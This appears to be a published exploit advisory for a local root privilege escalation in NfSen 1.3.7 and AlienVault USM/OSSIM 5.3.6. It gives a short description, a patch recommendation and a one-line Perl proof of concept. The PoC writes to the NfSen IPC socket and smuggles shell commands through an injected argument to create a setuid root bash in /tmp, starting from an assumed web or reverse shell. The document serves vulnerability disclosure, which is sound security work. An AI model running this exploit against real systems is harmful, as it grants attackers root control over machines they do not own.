# Exploit Title: Local root exploit affecting NfSen <= 1.3.7, AlienVault USM/OSSIM <= 5.3.6# Version: NfSen 1.3.7# Version: AlienVault 5.3.6# Date: 2017-07-10# Vendor Homepage: http://nfsen.sourceforge.net/# Vendor Homepage: http://www.alienvault.com/# Software Link: https://sourceforge.net/projects/nfsen/files/stable/nfsen-1.3.7/nfsen-1.3.7.tar.gz/download# Exploit Author: Paul Taylor / Foregenix Ltd# Website: http://www.foregenix.com/blog# Tested on: AlienVault USM 5.3.6# CVE: CVE-2017-69701. Description
The web user (in AlienVault USB www-data) has access to the NfSen IPC UNIX domain socket. This can be used to send a crafted command(complete with shell metacharacter injection) to the NfSen Perl components, causing OS command injection in a root privilege context, and therefore can be leverage for privilege escalation from the web user to full root privileges.
2. Proof of Concept
Pre-requisites - web user/www-data shell (e.g. web shell, or reverse shell).
Execute the following command:
perl -e'use Socket; socket(my $nfsend, AF_UNIX, SOCK_STREAM, 0); connect($nfsend, sockaddr_un("/var/nfsen/run/nfsen.comm")); print $nfsend "run-nfdump\nargs=-h \$(bash -c \"cp /bin/bash /tmp\")\n.\nrun-nfdump\nargs=-h \$(bash -c \"chmod u+s /tmp/bash\")\n.\n";'
This will create a set uid root bash binary in /tmp, which can then be used to gain full root privileges.
3. Solution:
Update to latest version of NfSen/USM/OSSIM